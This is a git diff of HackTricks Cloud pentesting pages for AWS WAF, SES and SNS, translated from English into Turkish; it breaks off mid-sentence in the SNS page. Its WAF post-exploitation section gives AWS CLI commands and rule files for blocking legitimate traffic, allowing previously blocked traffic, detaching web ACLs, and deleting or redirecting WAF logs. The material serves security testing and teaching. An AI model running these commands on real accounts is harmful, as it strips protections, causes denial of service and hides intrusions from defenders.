AWS hesabı şunları yapılandırabilir: -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **Her tür için 100 koşul** (Regex için yalnızca **10 koşul** izin verilir, ancak bu limit artırılabilir). +- **100 kural** ve **50 Web ACL**. +- Maksimum **5 oran tabanlı kural**. +- Uygulama yük dengeleyicisi ile WAF uygulandığında **saniyede 10,000 istek** geçişi. -#### Rule actions +#### Kural eylemleri -Actions are assigned to each rule, with options being: +Eylemler, her kurala atanır ve seçenekler şunlardır: -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **İzin Ver**: İstek, uygun CloudFront dağıtımına veya Uygulama Yük Dengeleyicisine yönlendirilir. +- **Engelle**: İstek hemen sonlandırılır. +- **Say**: Kuralın koşullarını karşılayan istekleri sayar. Bu, kural testleri için yararlıdır, kuralın doğruluğunu onaylamak için İzin Ver veya Engelle olarak ayarlamadan önce. +- **CAPTCHA ve Mücadele:** İsteğin bir bot tarafından gelmediği, CAPTCHA bulmacaları ve sessiz mücadeleler kullanılarak doğrulanır. -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +Eğer bir istek Web ACL içindeki hiçbir kuralla eşleşmiyorsa, **varsayılan eylem** (İzin Ver veya Engelle) uygulanır. Bir Web ACL içinde tanımlanan kural yürütme sırası kritik öneme sahiptir ve genellikle şu sırayı takip eder: -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. Beyaz listeye alınmış IP'leri izin ver. +2. Kara listeye alınmış IP'leri engelle. +3. Zararlı imzalara uyan istekleri engelle. -#### CloudWatch Integration +#### CloudWatch Entegrasyonu -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +AWS WAF, izleme için CloudWatch ile entegre olur ve AllowedRequests, BlockedRequests, CountedRequests ve PassedRequests gibi metrikler sunar. Bu metrikler varsayılan olarak her dakika rapor edilir ve iki hafta boyunca saklanır. -### Enumeration +### Sayım -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +CloudFront dağıtımlarıyla etkileşimde bulunmak için, US East (N. Virginia) Bölgesini belirtmelisiniz: -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - CloudFront kapsamını kullanırken US East Bölgesini belirtin: `--scope CLOUDFRONT --region=us-east-1`. +- API ve SDK'lar - Tüm çağrılar için, us-east-1 Bölge uç noktasını kullanın. -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +Bölgesel hizmetlerle etkileşimde bulunmak için, bölgeyi belirtmelisiniz: +- Bölge ile örnek (Avrupa - İspanya): `--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - ### Post Exploitation / Bypass > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> Bir saldırganın perspektifinden, bu hizmet saldırgana WAF korumalarını ve diğer web sitelerini tehlikeye atmasına yardımcı olabilecek ağ açıklarını tanımlamasında yardımcı olabilir. > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> Ancak, bir saldırgan bu hizmeti kesintiye uğratmakla da ilgilenebilir, böylece web siteleri WAF tarafından korunmaz. -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +Çoğu Silme ve Güncelleme işlemlerinde **lock token** sağlamanız gerekecektir. Bu token, kaynaklar üzerinde eşzamanlılık kontrolü için kullanılır ve değişikliklerin birden fazla kullanıcı veya sürecin aynı kaynağı güncellemeye çalışırken kazara üzerine yazılmadığından emin olur. Bu token'ı elde etmek için, belirli kaynak üzerinde ilgili **list** veya **get** işlemlerini gerçekleştirebilirsiniz. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +Bir saldırgan, etkilenen kaynağın güvenliğini tehlikeye atabilir: +- Örneğin, meşru IP adreslerinden gelen meşru trafiği engelleyebilecek kural grupları oluşturarak, hizmet reddine neden olabilir. +- Kural gruplarını güncelleyerek, örneğin eylemlerini **Block**'tan **Allow**'a değiştirebilir. +- Kritik güvenlik önlemleri sağlayan kural gruplarını silerek. ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate traffic from specific IP addresses: - +Aşağıdaki örnek, belirli IP adreslerinden gelen meşru trafiği engelleyecek bir kural grubunu göstermektedir: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +**rule.json** dosyası şöyle görünecektir: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Potansiyel Etki**: Yetkisiz erişim, veri ihlalleri ve potansiyel DoS saldırıları. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +Bu izinlerle, bir saldırgan şunları yapabilir: -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- Yeni bir Web ACL oluşturmak, kötü niyetli trafiği geçiren veya meşru trafiği engelleyen kurallar eklemek, böylece WAF'ı işe yaramaz hale getirmek veya hizmet reddine neden olmak. +- Mevcut Web ACL'leri güncellemek, daha önce engellenmiş SQL enjeksiyonu veya çapraz site betikleme gibi saldırılara izin verecek şekilde kuralları değiştirmek veya geçerli istekleri engelleyerek normal trafik akışını bozmak. +- Bir Web ACL'yi silmek, etkilenen kaynakları tamamen korumasız bırakmak ve geniş bir web saldırısı yelpazesine maruz bırakmak. > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> Belirtilen **WebACL**'yi yalnızca **ManagedByFirewallManager** false ise silebilirsiniz. ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` +Aşağıdaki örnekler, belirli bir IP kümesinden gelen meşru trafiği engellemek için bir Web ACL'sini nasıl güncelleyeceğinizi göstermektedir. Eğer kaynak IP bu IP'lerden hiçbiriyle eşleşmiyorsa, varsayılan eylem de onu engellemek olacaktır ve bu bir DoS'a neden olabilir. -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. - -**Original Web ACL**: - +**Orijinal Web ACL**: ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Web ACL'yi güncellemek için komut: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +**rule.json** dosyası şöyle görünecektir: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Potansiyel Etki**: Yetkisiz erişim, veri ihlalleri ve potansiyel DoS saldırıları. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +**`wafv2:AssociateWebACL`** izni, bir saldırganın web ACL'lerini (Erişim Kontrol Listeleri) kaynaklarla ilişkilendirmesine izin vererek, güvenlik kontrollerini atlatmasına, yetkisiz trafiğin uygulamaya ulaşmasına olanak tanıyabilir; bu da SQL enjeksiyonu veya çapraz site betikleme (XSS) gibi istismarlarla sonuçlanabilir. Tersine, **`wafv2:DisassociateWebACL`** izni ile saldırgan, güvenlik korumalarını geçici olarak devre dışı bırakabilir ve kaynakları tespit edilmeden zafiyetlere maruz bırakabilir. -The additional permissions would be needed depending on the protected resource type: - -- **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl -- **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +Korunan kaynak türüne bağlı olarak ek izinler gerekecektir: +- **İlişkilendir** +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl +- **Ayrı** +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**Potansiyel Etki**: Kompromize olmuş kaynak güvenliği, istismar riski artışı ve AWS WAF ile korunan AWS ortamlarında potansiyel hizmet kesintileri. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +Bir saldırgan, AWS WAF tarafından yönetilen IP setlerini oluşturma, güncelleme ve silme yeteneğine sahip olacaktır. Bu tehlikeli olabilir çünkü kötü niyetli trafiğe izin vermek için yeni IP setleri oluşturabilir, meşru trafiği engellemek için IP setlerini değiştirebilir, kötü niyetli IP adreslerini içerecek şekilde mevcut IP setlerini güncelleyebilir, güvenilir IP adreslerini kaldırabilir veya kritik kaynakları korumak için tasarlanmış kritik IP setlerini silebilir. ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +Aşağıdaki örnek, **istenen IP seti ile mevcut IP setini nasıl geçersiz kılacağınızı** göstermektedir: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` - -**Potential Impact**: Unauthorized access and block of legitimate traffic. +**Potansiyel Etki**: Yetkisiz erişim ve meşru trafiğin engellenmesi. #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +Bu izinlere sahip bir saldırgan, belirli desenlere dayalı olarak gelen trafiği kontrol etmek ve filtrelemek için AWS WAF tarafından kullanılan düzenli ifade desen setlerini manipüle edebilir. +- Yeni regex desenleri oluşturmak, bir saldırgana zararlı içeriği kabul ettirebilir +- Mevcut desenleri güncelleyerek, bir saldırgan güvenlik kurallarını atlatabilir +- Kötü niyetli faaliyetleri engellemek için tasarlanmış desenleri silmek, bir saldırgana zararlı yükler göndermesine ve güvenlik önlemlerini atlatmasına yol açabilir. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**Potansiyel Etki**: Güvenlik kontrollerini aşmak, kötü niyetli içeriğe izin vermek ve potansiyel olarak hassas verileri açığa çıkarmak veya AWS WAF tarafından korunan hizmetleri ve kaynakları kesintiye uğratmak. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +**`wafv2:DeleteLoggingConfiguration`** iznine sahip bir saldırgan, belirtilen Web ACL'den günlükleme yapılandırmasını kaldırabilir. Ardından, **`wavf2:PutLoggingConfiguration`** ve **`iam:CreateServiceLinkedRole`** izinleri ile bir saldırgan, günlükleme yapılandırmalarını oluşturabilir veya değiştirebilir (silindikten sonra) ya günlüklemeyi tamamen engellemek ya da günlükleri yetkisiz hedeflere, örneğin Amazon S3 bucket'larına, Amazon CloudWatch Logs günlük grubuna veya kontrol altında bir Amazon Kinesis Data Firehose'a yönlendirmek için. -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +Oluşturma süreci sırasında, hizmet, günlüklerin belirtilen günlükleme hedefine yazılmasına izin vermek için gerekli izinleri otomatik olarak ayarlar: -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** AWS WAF, belirlenen CloudWatch Logs günlük grubunda bir kaynak politikası oluşturur. Bu politika, AWS WAF'ın günlük grubuna günlük yazmak için gereken izinlere sahip olmasını sağlar. +- **Amazon S3 Bucket:** AWS WAF, belirlenen S3 bucket'ında bir bucket politikası oluşturur. Bu politika, AWS WAF'a belirtilen bucket'a günlük yüklemek için gerekli izinleri verir. +- **Amazon Kinesis Data Firehose:** AWS WAF, Kinesis Data Firehose ile etkileşimde bulunmak için özel olarak bir hizmet bağlantılı rol oluşturur. Bu rol, AWS WAF'ın yapılandırılmış Firehose akışına günlükleri iletmesine olanak tanır. > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> Her web ACL için yalnızca bir günlükleme hedefi tanımlamak mümkündür. ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**Potansiyel Etki:** Güvenlik olaylarına dair görünürlüğü belirsizleştirir, olay yanıt sürecini zorlaştırır ve AWS WAF ile korunan ortamlarda gizli kötü niyetli faaliyetleri kolaylaştırır. #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +Bu izinlere sahip bir saldırgan, mevcut API anahtarlarını silebilir, bu da CAPTCHA'nın etkisiz hale gelmesine ve form gönderimleri ve erişim kontrolleri gibi buna bağlı işlevlerin kesintiye uğramasına neden olur. Bu CAPTCHA'nın uygulanmasına bağlı olarak, bu ya bir CAPTCHA atlatmasına ya da kaynakta hata yönetimi düzgün ayarlanmamışsa bir DoS'a yol açabilir. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**Potansiyel Etki**: CAPTCHA korumalarını devre dışı bırakma veya uygulama işlevselliğini bozma, güvenlik ihlallerine ve potansiyel veri hırsızlığına yol açabilir. #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +Bir saldırgan, Web ACL'leri, kural grupları, IP setleri, regex desen setleri ve günlükleme yapılandırmaları gibi AWS WAFv2 kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**Potansiyel Etki**: Kaynak manipülasyonu, bilgi sızıntısı, maliyet manipülasyonu ve operasyonel kesinti. -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## Referanslar - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..98a63e674 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -2,45 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +Amazon Simple Email Service (Amazon SES), **e-postaları göndermek ve almak** için tasarlanmıştır. Kullanıcıların, işlem, pazarlama veya bildirim e-postalarını verimli ve güvenli bir şekilde ölçeklenebilir olarak göndermesine olanak tanır. Diğer AWS hizmetleriyle **iyi bir şekilde entegre olur**, her boyuttaki işletmeler için e-posta iletişimini yönetmek için sağlam bir çözüm sunar. -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +SES ile etkileşimde bulunabilecek **kimlikler** (örneğin, e-posta adresleri veya alan adları) kaydetmeniz gerekir. -### SMTP User - -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: +### SMTP Kullanıcısı +AWS'nin **SMTP sunucusuna bağlanarak eylemler gerçekleştirmek** mümkündür; AWS API'sini kullanmak yerine (veya ek olarak). Bunun için, aşağıdaki gibi bir politika ile bir kullanıcı oluşturmanız gerekir: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +Sonra, kullanıcının **API anahtarını ve gizli anahtarını** toplayın ve çalıştırın: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` - -It's also possible to do this from the AWS console web. +AWS konsol webinden de bunu yapmak mümkündür. ### Enumeration > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> SES'in 2 API'si olduğunu unutmayın: **`ses`** ve **`sesv2`**. Bazı eylemler her iki API'de de bulunmaktadır, diğerleri ise sadece birinde bulunmaktadır. ```bash # Get info about the SES account aws sesv2 get-account @@ -117,7 +112,6 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - ### Post Exploitation {{#ref}} @@ -125,7 +119,3 @@ aws ses get-send-statistics {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..51a582b6d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +Amazon Simple Notification Service (Amazon SNS), **tam yönetilen bir mesajlaşma hizmeti** olarak tanımlanır. Hem **uygulama-uygulama** (A2A) hem de **uygulama-kisi** (A2P) iletişim türlerini destekler. -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +A2A iletişimi için ana özellikler **yayın/abone (pub/sub) mekanizmaları** içerir. Bu mekanizmalar, yüksek verimli, **itme tabanlı, çoktan-çoğa mesajlaşmayı** sağlamak için kritik olan **konuları** tanıtır. Bu özellik, dağıtık sistemler, mikro hizmetler ve olay odaklı sunucusuz mimariler içeren senaryolar için son derece avantajlıdır. Bu konuları kullanarak, yayıncı sistemler mesajları **geniş bir abone sistemi yelpazesine** verimli bir şekilde dağıtabilir, böylece bir fanout mesajlaşma modeli oluşturur. -### **Difference with SQS** +### **SQS ile Fark** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes 